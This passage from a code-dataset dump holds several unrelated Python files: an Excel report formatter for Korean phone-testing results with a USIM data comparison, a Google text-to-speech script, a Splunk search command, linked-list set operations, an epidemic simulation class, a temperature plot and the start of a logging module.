sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A4'].alignment = self.top_alignment\n sheet_out['C6'].alignment = self.top_alignment_3\n sheet_out['A11'].alignment = self.top_alignment\n sheet_out['C13'].alignment = self.top_alignment_3\n sheet_out['A19'].alignment = self.top_alignment\n sheet_out['A20'].alignment = self.top_alignment_3\n sheet_out['A21'].alignment = self.top_alignment\n sheet_out['A23'].alignment = self.top_alignment\n sheet_out['A24'].alignment = self.top_alignment\n sheet_out['A25'].alignment = self.top_alignment_3\n\n # all cell border adjust\n for mCell in sheet_out[\"A5:D10\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n for mCell in sheet_out[\"A12:D17\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A2:D25\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D']\n sheet_width_list = [25, 15.88, 17, 17]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n sheet_out.row_dimensions[20].height = 45\n sheet_out.row_dimensions[25].height = 45\n\n # Set Pattern Fill\n for i in [5, 12]:\n sheet_out['A' + str(i)].fill = self.brown_fill\n sheet_out['B' + str(i)].fill = self.brown_fill\n sheet_out['C' + str(i)].fill = self.brown_fill\n sheet_out['D' + str(i)].fill = self.brown_fill\n\n for i in [5, 6, 7, 8, 9, 10, 13, 14, 15, 16, 17]:\n sheet_out['A' + str(i)].fill = self.gray_fill\n sheet_out['B' + str(i)].fill = self.apricot_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"첨부1\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 첨부 2 측정기준 Tab\n def attach_generate_data_2(self):\n\n try:\n for idx, item in enumerate(self.list_out_files):\n\n wb_output = openpyxl.load_workbook(item)\n # option setting wb.output\n sheet_out = wb_output['첨부2. 납품검사']\n list_items = ['고온 고습/저온 Cycling 시험\t', '낙하시험', '방수시험', 'ESD (정전기) 시험',\n '개통 및 사용성 시험', 'RF Auto (50대, 제조사 자체 측정)', 'CATS_Priority1 (제조사 자체 측정)',\n 'GPS (제조사 자체 측정)', '발열 (제조사 자체 측정)', '카메라 전.후면 화질평가 (제조사 자체 측정)',\n 'WiFi 무선성능(제조사 자체 측정)', 'BT 무선성능(제조사 자체 측정)']\n list_items_2 = ['무선기기 형식등록', 'GCF 인증서', 'WiFi 인증서', 'NFC 인증서', 'Bluetooth 인증서']\n\n # sheet row 1 handle\n sheet_out.merge_cells('A1:D1')\n sheet_out['A1'] = '첨부2. 납품검사'\n\n # sheet row 3 handle\n sheet_out['A3'] = '▣ 장소 : (빈곳)'\n\n # 4~16 row\n sheet_out['A4'] = '구분'\n sheet_out.merge_cells('B4:C4')\n sheet_out['B4'] = 'Item'\n sheet_out['D4'] = '결과'\n\n sheet_out.merge_cells('A5:A8')\n sheet_out['A5'] = '신뢰성 시험'\n sheet_out.merge_cells('A9:A16')\n sheet_out['A9'] = 'Performance'\n\n for i in range(5, 17):\n sheet_out.merge_cells('B' + str(i) + ':C' + str(i))\n sheet_out['B' + str(i)] = list_items[i - 5]\n\n # 18~24 row\n sheet_out['A18'] = '▣ 시험 인증서 (PLM 등록)'\n sheet_out['A19'] = '구분'\n sheet_out.merge_cells('B19:C19')\n sheet_out['B19'] = 'Item'\n sheet_out['D19'] = '결과'\n\n sheet_out.merge_cells('A20:A24')\n sheet_out['A20'] = '인증서'\n\n for i in range(20, 25):\n sheet_out.merge_cells('B' + str(i) + ':C' + str(i))\n sheet_out['B' + str(i)] = list_items_2[i - 20]\n\n\n self.setPrintText('/s {}번 파일 \"첨부2\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:D24\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A3'].alignment = self.top_alignment\n sheet_out['A18'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A4:D16\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n for mCell in sheet_out[\"A19:D24\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A2:D24\"]:\n for cell in mCell:\n cell.font = self.index_font\n\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D']\n sheet_width_list = [25, 15.88, 23.75, 17]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for i in [4, 19]:\n sheet_out['A' + str(i)].fill = self.brown_fill\n sheet_out['B' + str(i)].fill = self.brown_fill\n sheet_out['C' + str(i)].fill = self.brown_fill\n sheet_out['D' + str(i)].fill = self.brown_fill\n\n for i in range(5,17):\n sheet_out['A' + str(i)].fill = self.gray_fill\n sheet_out['B' + str(i)].fill = self.gray_fill\n\n for i in range(20,25):\n sheet_out['A' + str(i)].fill = self.gray_fill\n sheet_out['B' + str(i)].fill = self.gray_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"첨부2\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # 첨부 3 측정기준 Tab\n def attach_generate_data_3(self):\n\n try:\n for idx, item in enumerate(self.list_out_files):\n\n wb_output = openpyxl.load_workbook(item)\n # option setting wb.output\n sheet_out = wb_output['첨부3. 단말 상세 SPEC']\n list_items = ['모뎀', 'RFIC', 'Display', '크기', '배터리 용량', 'Flash ROM', 'SRAM', '카메라', '사운드', 'MIC', '방수/방진', '페이', '생체인식',\n '충전', '기타', 'LTE 주파수', 'LTE 로밍 지원 주파수', 'WCDMA 주파수', 'OS(출시버전)', '출시']\n list_items_2 = ['5G NW options', '5G Frequency', 'UE-Category', 'Max Throughput', 'ENDC capability',\n 'LTE capability', 'Modulation', 'MIMO', 'CSI-RS', 'Power', 'Waveform']\n\n # sheet row 1 handle\n sheet_out.merge_cells('A1:C1')\n sheet_out['A1'] = '첨부3. 단말 상세 SPEC'\n\n # sheet row 2 handle\n sheet_out['A2'] = '▣ 기본 정보 '\n\n # 3~23 row\n sheet_out['A3'] = '구분'\n sheet_out['B3'] = '모델1'\n sheet_out['C3'] = 'Ref. 모델'\n\n for i in range(4, 24):\n sheet_out['A' + str(i)] = list_items[i - 4]\n\n # 25~37 row\n sheet_out['A25'] = '▣ N/W Feature 비교'\n sheet_out['A26'] = '구분'\n sheet_out['B26'] = '모델1'\n sheet_out['C26'] = 'Ref. 모델'\n\n for i in range(27, 38):\n sheet_out['A' + str(i)] = list_items_2[i - 27]\n\n self.setPrintText('/s {}번 파일 \"첨부3\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"A1:C37\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n # top alignment adjust\n sheet_out['A2'].alignment = self.top_alignment\n sheet_out['A25'].alignment = self.top_alignment\n\n # all cell border adjust\n for mCell in sheet_out[\"A3:C23\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n for mCell in sheet_out[\"A26:C37\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # all cell font adjust\n for mCell in sheet_out[\"A2:C3\"]:\n for cell in mCell:\n cell.font = self.index_font\n for mCell in sheet_out[\"A4:C23\"]:\n for cell in mCell:\n cell.font = self.value_font\n for mCell in sheet_out[\"A25:C26\"]:\n for cell in mCell:\n cell.font = self.index_font\n for mCell in sheet_out[\"A27:C37\"]:\n for cell in mCell:\n cell.font = self.value_font\n sheet_out['A1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C']\n sheet_width_list = [20.13, 39, 39]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n for i in [3, 26]:\n sheet_out['A' + str(i)].fill = self.brown_fill\n sheet_out['B' + str(i)].fill = self.brown_fill\n sheet_out['C' + str(i)].fill = self.brown_fill\n\n for i in range(4, 24):\n sheet_out['A' + str(i)].fill = self.gray_fill\n\n for i in range(27, 38):\n sheet_out['A' + str(i)].fill = self.gray_fill\n\n self.currentRow = self.currentRow + 1\n self.setPrintText('/s {}번 파일 \"첨부3\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # f2 function\n def f2_generate_data(self):\n\n try:\n for idx, item in enumerate(self.list_files):\n\n wb_output = openpyxl.load_workbook(item, data_only=True)\n # option setting wb.output\n sheet_in = wb_output['Profile']\n wb_output.create_sheet('Comparison', 2)\n sheet_out = wb_output['Comparison']\n # 1st list items are fixed usim info, 2nd list items are variable usim info\n list_find = [['ESN', 'HPPLMN', 'HPLMNNWACT', 'FPLMN', 'PWS', 'HPLMNwACT', 'DOMAIN'],\n ['IMEI', 'IMSI', 'KEYS', 'KEYSPS', 'MSISDN', 'SMSP', 'PSLOCI', 'ACC', 'LOCI', 'IMSI_M',\n 'MDN', 'IRM', 'IMPI', 'IMPU', 'P_CSCF']]\n list_fixed_item = []\n list_variable_item = []\n list_reference_item = [\n '0000FFFFFFFFFFFF',\n '01',\n '54F050400054F0508000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000',\n '54F08054F06054F00354F040',\n 'FCFFFFFFFFFFFFFFFFFF',\n '54F050400054F0508000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000FFFFFF0000',\n '800A736B74696D732E6E6574FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF',\n ]\n\n total_row = len(sheet_in['A'])\n\n # sheet row 1 handle\n sheet_out.merge_cells('B1:E1')\n sheet_out['B1'] = 'USIM DATA COMPARISON'\n # sheet row 2 handle\n sheet_out['B2'] = 'EF��일명'\n sheet_out['C2'] = 'DATA값'\n sheet_out['D2'] = '고정기준값'\n sheet_out['E2'] = '비교'\n\n # finding fixed value\n for fixed in list_find[0]:\n for i in range(2, total_row+1):\n if sheet_in['A' + str(i)].value == fixed:\n data = sheet_in['Q' + str(i)].value.strip()\n data = re.sub(r'[\\n,\\s,\\t]', '', data)\n list_fixed_item.append(data)\n break\n\n # finding variable value\n for variable in list_find[1]:\n for i in range(2, total_row+1):\n if sheet_in['A' + str(i)].value == variable:\n data = sheet_in['Q' + str(i)].value.strip()\n data = re.sub(r'[\\n,\\s,\\t]', '', data)\n list_variable_item.append(data)\n break\n\n # red\n # 3~ 24 rows fill data\n # 3~9까지 fixed\n # 10~24까지 variable\n\n # all cell font adjust\n for mCell in sheet_out[\"B2:E24\"]:\n for cell in mCell:\n cell.font = self.f2_value_font\n\n sheet_out['B1'].font = Font(name='맑은 고딕', size=22, bold=True, color='2B2B2B')\n # 고정값 Set\n for i, f_item in enumerate(list_fixed_item):\n sheet_out['B' + str(i + 3)] = list_find[0][i]\n sheet_out['B' + str(i + 3)].fill = self.yellow_fill\n sheet_out['C' + str(i + 3)] = f_item\n sheet_out['D' + str(i + 3)] = list_reference_item[i]\n sheet_out['D' + str(i + 3)].fill = self.yellow_fill\n\n if list_fixed_item[i] == list_reference_item[i]:\n sheet_out['E' + str(i + 3)] = 'True(일치함)'\n sheet_out['E' + str(i + 3)].font = self.f2_blue_font\n else:\n sheet_out['E' + str(i + 3)] = 'False(불일치)'\n sheet_out['E' + str(i + 3)].font = self.f2_red_font\n\n sheet_out['E' + str(i + 3)].fill = self.yellow_fill\n\n # 가변값 Set\n for i, v_item in enumerate(list_variable_item):\n sheet_out['B' + str(i + 10)] = list_find[1][i]\n sheet_out['B' + str(i + 10)].fill = self.orange_fill\n sheet_out['C' + str(i + 10)] = v_item\n sheet_out['D' + str(i + 10)].fill = self.orange_fill\n sheet_out['E' + str(i + 10)].fill = self.orange_fill\n\n self.setPrintText('/s {}번 파일 \"Comparison\" 테이터 입력 완료 /e'.format(idx+1))\n\n # set temp data\n\n if self.opFlag:\n\n # all cell alignment adjust\n for mCell in sheet_out[\"B2:E24\"]:\n for cell in mCell:\n cell.alignment = self.general_alignment\n\n # top alignment adjust\n for mCell in sheet_out[\"C4:C24\"]:\n for cell in mCell:\n cell.alignment = self.top_alignment_3\n\n for mCell in sheet_out[\"D4:D24\"]:\n for cell in mCell:\n cell.alignment = self.top_alignment_3\n\n # all cell border adjust\n for mCell in sheet_out[\"B2:E24\"]:\n for cell in mCell:\n cell.border = self.thin_border\n\n # set filter\n sheet_out.auto_filter.ref = \"B2:E24\"\n\n # each column width adjust\n sheet_cell_list = ['A', 'B', 'C', 'D', 'E']\n sheet_width_list = [4.25, 14.75, 57, 57, 23]\n\n for i in range(len(sheet_cell_list)):\n sheet_out.column_dimensions[sheet_cell_list[i]].width = sheet_width_list[i]\n sheet_out.row_dimensions[1].height = 45\n\n # Set Pattern Fill\n sheet_out['B2'].fill = self.brown_fill\n sheet_out['C2'].fill = self.brown_fill\n sheet_out['D2'].fill = self.brown_fill\n sheet_out['E2'].fill = self.brown_fill\n\n\n self.currentRow = self.currentRow + 1\n self.totalRows = self.totalRows + 1\n self.progress_flag.emit()\n self.setPrintText('/s {}번 파일 \"Comparison\" 시트 스타일 적용 완료 /e'.format(idx+1))\n # save file\n wb_output.save(self.list_out_files[idx])\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\n # main method\n def run(self):\n\n try:\n ###########################__Setting print Text Thread__######################\n\n self.thread_count = threading.Thread(target=self.getCountRows, args=())\n self.thread_count.daemon = True\n self.thread_count.start()\n self.nowTime = datetime.today().strftime(\"%Y-%m-%d\")\n\n #################################################################_SETTING INPUT_###########################################################################\n # Save root directory\n self.flag_root = os.path.isdir(self.home+\"\\\\Desktop\\\\DOC\\\\\")\n if not self.flag_root:\n os.mkdir(self.home + \"\\\\Desktop\\\\DOC\\\\\")\n\n # extract file name each list_files and make every out file path\n for item in self.list_files:\n temp_filename = os.path.basename(item)\n temp_filename = re.sub(\"(.xlsx|.xls)\", \"\", temp_filename)\n output_file = self.home+\"\\\\Desktop\\\\DOC\\\\result_\"+temp_filename+\"(\"+self.nowTime+\").xlsx\"\n self.list_out_files.append(output_file)\n\n if self.modeFlag == \"f1\":\n\n #################################################################_RESULT FILE Generate_###########################################################################\n # output file generate\n for item in self.list_out_files:\n\n wb = Workbook()\n s1 = wb.active\n s1.title = \"검증결과요약\"\n wb.create_sheet('시험결과요약', 1)\n wb.create_sheet('TRP', 2)\n wb.create_sheet('TIS', 3)\n wb.create_sheet('속도', 4)\n wb.create_sheet('Call Setup Test', 5)\n wb.create_sheet('주파수동조', 6)\n wb.create_sheet('MOS', 7)\n wb.create_sheet('배터리소모전류(시간)', 8)\n wb.create_sheet('배터리소모전류 세부데이터', 9)\n wb.create_sheet('배터리소모전류(DOU)', 10)\n wb.create_sheet('첨부1. 측정기준 및 가점', 11)\n wb.create_sheet('첨부2. 납품검사', 12)\n wb.create_sheet('첨부3. 단말 상세 SPEC', 13)\n wb.save(item)\n\n self.setPrintText(\"/s Complete making Result excel file /e\")\n self.setPrintText(\"/s Extract Original Data in each file /e\")\n\n #Core Code\n self.start_time = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n #Excel input Data read\n self.setPrintText(\"/s STARTED_TIME: \"+self.start_time+\" /e\")\n\n ########################################################################Start to generate openpyXL Sheet Style########################################################################\n # 검증결과요약 텝 생성\n self.summary_generate_data()\n self.totalRows = 1\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 시험결과요약 텝 생성\n self.test_generate_data()\n self.totalRows = 2\n self.currentRow = 0\n self.progress_flag.emit()\n\n # TRP 텝 생성\n self.trp_generate_data()\n self.totalRows = 3\n self.currentRow = 0\n self.progress_flag.emit()\n\n # TIS 텝 생성\n self.tis_generate_data()\n self.totalRows = 4\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 속도 텝 생성\n self.spd_generate_data()\n self.totalRows = 5\n self.currentRow = 0\n self.progress_flag.emit()\n\n # Call Setup Test 텝 생성\n self.call_generate_data()\n self.totalRows = 6\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 주파수동조 텝 생성\n self.fre_generate_data()\n self.totalRows = 7\n self.currentRow = 0\n self.progress_flag.emit()\n\n # MOS 텝 생성\n self.mos_generate_data()\n self.totalRows = 8\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 베터리소모전류(DOU) 텝 생성\n self.dou_generate_data()\n self.totalRows = 9\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 베터리소모전류 세부테이터 텝 생성\n self.bat_generate_data()\n self.totalRows = 10\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 베터리소모전류 세부테이터 텝 생성\n self.time_generate_data()\n self.totalRows = 11\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 베터리소모전류 세부테이터 텝 생성\n self.attach_generate_data_1()\n self.totalRows = 12\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 베터리소모전류 세부테이터 텝 생성\n self.attach_generate_data_2()\n self.totalRows = 13\n self.currentRow = 0\n self.progress_flag.emit()\n\n # 베터리소모전류 세부테이터 텝 생성\n self.attach_generate_data_3()\n self.totalRows = 14\n self.currentRow = 0\n self.progress_flag.emit()\n\n #############################################__progress 100%__#############################################\n self.end_count = \"y\"\n self.end_flag.emit()\n\n #Core Code\n self.end_time = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n #Excel input Data read\n self.setPrintText(\"/s FINISHED_TIME: \"+self.end_time+\" /e\")\n\n else:\n #Core Code\n self.start_time = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n #Excel input Data read\n self.setPrintText(\"/s STARTED_TIME: \"+self.start_time+\" /e\")\n self.f2_generate_data()\n self.end_count = \"y\"\n self.end_flag.emit()\n #Core Code\n self.end_time = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\n #Excel input Data read\n self.setPrintText(\"/s FINISHED_TIME: \"+self.end_time+\" /e\")\n\n except:\n self.setPrintText('/s Error: {}. {}, line: {}'.format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2].tb_lineno)+' /e')\n self.end_count = \"y\"\n self.end_flag.emit()\n\nif __name__ == '__main__':\n moduler = Formater('C:\\\\Users\\\\TestEnC\\\\Desktop\\\\VOC\\\\input_sample.xlsx', 'y', 'f1')\n moduler.run()\n","sub_path":"docBeFormater/newModule.py","file_name":"newModule.py","file_ext":"py","file_size_in_byte":171877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"210347852","text":"import os\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = './config/My Project-bd8af4dfa881.json'\nfrom google.cloud import texttospeech\nimport base64\nimport subprocess\nfrom pydub import AudioSegment\nfrom pydub.playback import play\nimport io\n\n\n\ndef create_google_sst(text):\n client = texttospeech.TextToSpeechClient()\n synthesis_input = texttospeech.types.SynthesisInput(text=text)\n voice = texttospeech.types.VoiceSelectionParams(\n name=\"en-US-Wavenet-F\",\n language_code='en-US', \n ssml_gender=texttospeech.enums.SsmlVoiceGender.FEMALE\n )\n audio_config = texttospeech.types.AudioConfig(\n audio_encoding=texttospeech.enums.AudioEncoding.MP3,\n pitch=2.0,\n speaking_rate=1.26\n )\n \n response = client.synthesize_speech(synthesis_input, voice, audio_config)\n audio = base64.b64decode(response.audio_content)\n\n song = AudioSegment.from_file(io.BytesIO(audio), format=\"mp3\")\n play(song)\n\ncreate_google_sst(\"how can I help you ?\")","sub_path":"scrath.py","file_name":"scrath.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"190884705","text":"import sys\nimport json\nfrom splunklib.searchcommands import dispatch, StreamingCommand, Configuration, Option\nfrom splunklib.searchcommands.validators import Fieldname\nimport environment_data\n\n\n@Configuration(local=True)\nclass EnvironmentInstancesUpdateState(StreamingCommand):\n\n state_field = Option(validate=Fieldname())\n name_field = Option(validate=Fieldname())\n\n def stream(self, instances):\n for instance in instances:\n environment_id = instance[\"environment_id\"]\n instance_state = instance[self.state_field]\n instance_name = instance[self.name_field]\n\n self.service.post(\"/services/msaas/environments/%s/instances/%s\" % (environment_id, instance_name), body=json.dumps({\n \"state\": instance_state,\n }))\n # environment_data.update_instance(\n # self.service, environment_id, instance_name,\n # instance_state=instance_state)\n yield instance\n\ndispatch(EnvironmentInstancesUpdateState,\n sys.argv, sys.stdin, sys.stdout, __name__)\n","sub_path":"apps/msaas/bin/environment_instances_update_state_command.py","file_name":"environment_instances_update_state_command.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"341896877","text":"class Node:\n def __init__(self, value):\n self.value = value\n self.next = None\n\n def __repr__(self):\n return str(self.value)\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def __str__(self):\n cur_head = self.head\n out_string = \"\"\n while cur_head:\n out_string += str(cur_head.value) + \" -> \"\n cur_head = cur_head.next\n return out_string\n\n def append(self, value):\n\n if self.head is None:\n self.head = Node(value)\n return\n\n node = self.head\n while node.next:\n node = node.next\n\n node.next = Node(value)\n\n def size(self):\n size = 0\n node = self.head\n while node:\n size += 1\n node = node.next\n\n return size\n\n\n# def union(llist_1, llist_2):\n# # Your Solution Here\n# union_list = LinkedList()\n# curr_node = llist_1.head\n# while curr_node is not None:\n# if union_list.head is None:\n# union_list.head = Node(curr_node.value)\n# else: \n# node = union_list.head\n# while node:\n# if node.value == curr_node.value:\n# break\n# else:\n# node = node.next\n# if node is None:\n# union_list.append(curr_node.value)\n# curr_node = curr_node.next\n# curr_node = llist_2.head\n# while curr_node is not None:\n# if union_list.head is None:\n# union_list.head = Node(curr_node.value)\n# else:\n# node = union_list.head\n# while node:\n# if node.value == curr_node.value:\n# break\n# else:\n# node = node.next\n# if node is None:\n# union_list.append(curr_node.value)\n# curr_node = curr_node.next\n# return union_list\n\ndef union(llist_1, llist_2):\n union_list = {}\n answer_list = LinkedList()\n node = llist_1.head\n while node:\n if node.value in union_list:\n union_list[node.value] += 1\n else:\n union_list[node.value] = 1\n node = node.next\n node = llist_2.head\n while node:\n if node.value in union_list:\n union_list[node.value] += 1\n else:\n union_list[node.value] = 1\n node = node.next\n for element in union_list:\n answer_list.append(element)\n return answer_list\n\ndef intersection(llist_1, llist_2):\n intersection_list = {}\n answer_list = LinkedList()\n node = llist_1.head\n while node:\n if node.value in intersection_list:\n intersection_list[node.value] += 1\n else:\n intersection_list[node.value] = 1\n node = node.next\n node = llist_2.head\n while node:\n if node.value in intersection_list:\n answer_list.append(node.value)\n del intersection_list[node.value]\n node = node.next\n \n return answer_list\n\n# Test case 1\n\nlinked_list_1 = LinkedList()\nlinked_list_2 = LinkedList()\n\nelement_1 = [3, 2, 4, 35, 6, 65, 6, 4, 3, 21]\nelement_2 = [6, 32, 4, 9, 6, 1, 11, 21, 1]\n\nfor i in element_1:\n linked_list_1.append(i)\n\nfor i in element_2:\n linked_list_2.append(i)\n\nprint(union(linked_list_1, linked_list_2))\nprint(intersection(linked_list_1, linked_list_2))\n\n# Test case 2\nlinked_list_3 = LinkedList()\nlinked_list_4 = LinkedList()\n\nelement_1 = [3, 2, 4, 35, 6, 65, 6, 4, 3, 23]\nelement_2 = [1, 7, 8, 9, 11, 21, 1]\n\nfor i in element_1:\n linked_list_3.append(i)\n\nfor i in element_2:\n linked_list_4.append(i)\n\nprint(union(linked_list_3, linked_list_4))\nprint(intersection(linked_list_3, linked_list_4))\n\n","sub_path":"union_intersection_linkedlist.py","file_name":"union_intersection_linkedlist.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"545420405","text":"import random\nfrom datetime import datetime, timedelta\n\nfrom Person import Person\n\n\nclass Place:\n\n def __init__(self, place_info):\n self.population = set()\n self.place_info = place_info # (40.760265, -73.989105, 'Italian', '217', '291', 'Ristorante Da Rosina')\n self.time_to_recover = 14\n self.total_infected_number = 0\n self.immune_population = set()\n\n def get_population(self):\n return self.population\n\n def get_total_infected(self):\n return self.total_infected_number\n\n def set_population(self, new_population):\n self.population = new_population\n\n def set_total_movements(self, number):\n self.total_movements = number\n self.init_population(self.total_movements) # initilise population according to place popularity\n\n def init_population(self, number):\n start_time = datetime(2010, 12, 21, 20, 0, 0)\n for i in range(number):\n person = Person()\n # infect with a certain probability\n if random.random() <= 0.001:\n person.set_infected(start_time)\n self.add_person(person)\n\n def get_total_movements(self):\n return self.total_movements\n\n def add_person(self, person):\n self.population.add(person)\n\n def incubate_cycle(self, current_time_o):\n ''' Process local population at a place and yield a new cycle of infections '''\n\n # set recovered timedelta(days=1): set time_to_recover, current_time\n infected_pop = [p for p in self.population if p.get_status() == 1]\n recovered_pop = [p.set_immune(current_time_o) for p in infected_pop if\n current_time_o - p.get_time_infected() > timedelta(days=self.time_to_recover)]\n infected_pop = set(infected_pop).difference(recovered_pop) # infected pop - recovered\n # print (len(infected_pop))\n # print (len(recovered_pop))\n # print (len(self.population))\n # print ('----')\n\n # calculate number of infected people\n total_infected = len(infected_pop)\n # if total_infected == 0:\n # \t#if there is no infected person at place, no one else can be infected (ie do not execute code below)\n # \treturn\n\n total_pop = len(self.population)\n\n # calculate susceptible to infection\n susceptible_pop = self.population.difference(infected_pop)\n susceptible_pop = susceptible_pop.difference(self.immune_population)\n self.immune_population = self.immune_population.union(recovered_pop)\n\n # calculate probability of infection\n if total_pop == 0:\n prob_infection = 0.0\n else:\n prob_infection = total_infected / total_pop\n\n # calculate newly infected number\n newly_infected_num = int(len(susceptible_pop) * prob_infection)\n\n # set newly infected persons accordingly\n newly_infected_pop = random.choices(tuple(susceptible_pop), k=newly_infected_num)\n for i in range(newly_infected_num):\n newly_infected_pop[i].set_infected(current_time_o)\n\n # count number infected\n self.total_infected_number = len(infected_pop) + newly_infected_num\n\n def set_recovered(self):\n ''' Process local population and yield a new cycle of recoveries (death case will be added later)'''\n pass\n","sub_path":"Place.py","file_name":"Place.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"622662040","text":"import pylab\n\npylab.figure('Temperature_Graph')\npylab.title('Boston July Temperatures')\npylab.xlabel('Day')\npylab.ylabel('Temperature')\ndates = []\nhigh = []\nlow = []\nfileline =[]\nwith open('BostonJulyTemperatures.txt', 'r') as file:\n\tfile.readline()\n\tfor line in file:\n\t\tfileline = line.split()\n\t\tdates.append(int(fileline[0]))\n\t\thigh.append(int(fileline[1]))\n\t\tlow.append(int(fileline[2]))\nfile.close()\ncount = 0\nfor date in dates:\n\tpylab.plot([date,date],[low[count], high[count]])\n\tcount = count + 1\npylab.show()","sub_path":"temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"9320961","text":"\"\"\"\nUnicorn core.logutils module\nUnicorn module which provides common logging functions. \nIn order to initialize logger function init_logger should be used.\n\"\"\"\n\nimport sys\nimport os\nimport logging\nimport copy\nimport shutil\nimport re\nfrom datetime import datetime\nfrom threading import Lock\n\ntry:\n from core import logutils_conversions\n from core import environment_preparation\nexcept ImportError:\n import logutils_conversions\n import environment_preparation\n\ntry:\n import colorama\nexcept ImportError as e:\n colorama = None\nelse:\n colorama.init() \n\nloglock = Lock()\n \n# PATCHING CUSTOM LEVELS\nlogging.H1 = 99\nlogging.H2 = 98\nlogging.H3 = 97\nlogging.PLAIN = 29\nlogging.FRAME = 28\nlogging.TABLE = 27\nlogging.VERBOSE = 21\n\nlevel_styles = {}\nmessage_styles = {}\n\n\n\n# ==============================================================================\nclass EnhancedLogger(logging.getLoggerClass()):\n \"\"\"\n Logger class with additional methods / log levels.\n \"\"\"\n def __init__(self, name, level = logging.NOTSET):\n super().__init__(name, level)\n logging.addLevelName(logging.H1, \"H1\")\n logging.addLevelName(logging.H2, \"H2\")\n logging.addLevelName(logging.H3, \"H3\")\n logging.addLevelName(logging.TABLE, \"TABLE\")\n 